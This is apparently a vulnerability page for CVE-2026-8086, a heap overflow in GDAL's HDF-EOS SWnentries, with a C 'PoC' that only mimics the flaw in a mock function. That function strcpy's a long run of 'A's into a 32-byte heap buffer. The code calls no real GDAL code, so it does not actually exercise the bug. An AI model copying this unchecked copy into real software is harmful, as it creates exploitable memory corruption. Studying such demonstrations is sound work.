CVE-2026-8086 OSGeo GDAL 堆缓冲区溢出漏洞

#include <stdio.h> #include <string.h> #include <stdlib.h> // Mocking the vulnerable function structure based on the description // In the real vulnerability, this resides in frmts/hdf4/hdf-eos/SWapi.c void vulnerable_SWnentries(const char* DimensionName) { // Simulating a heap allocation char* buffer = (char*)malloc(32); if (buffer == NULL) return; printf("[+] Processing DimensionName: %s\n", DimensionName); // VULNERABILITY: No bounds checking on the input length before copying // This leads to a heap-based buffer overflow strcpy(buffer, DimensionName); printf("[+] Buffer content: %s\n", buffer); free(buffer); } int main() { printf("PoC for CVE-2026-8086 - GDAL Heap Overflow\n"); printf("Triggering overflow in SWnentries via long DimensionName...\n"); // Create a payload larger than the expected buffer size (e.g., 32 bytes) char payload[100]; memset(payload, 'A', 99); payload[99] = '\0'; // Null terminate // Call the vulnerable function with the malicious payload // This simulates the local attack vector (AV:L) vulnerable_SWnentries(payload); return 0; }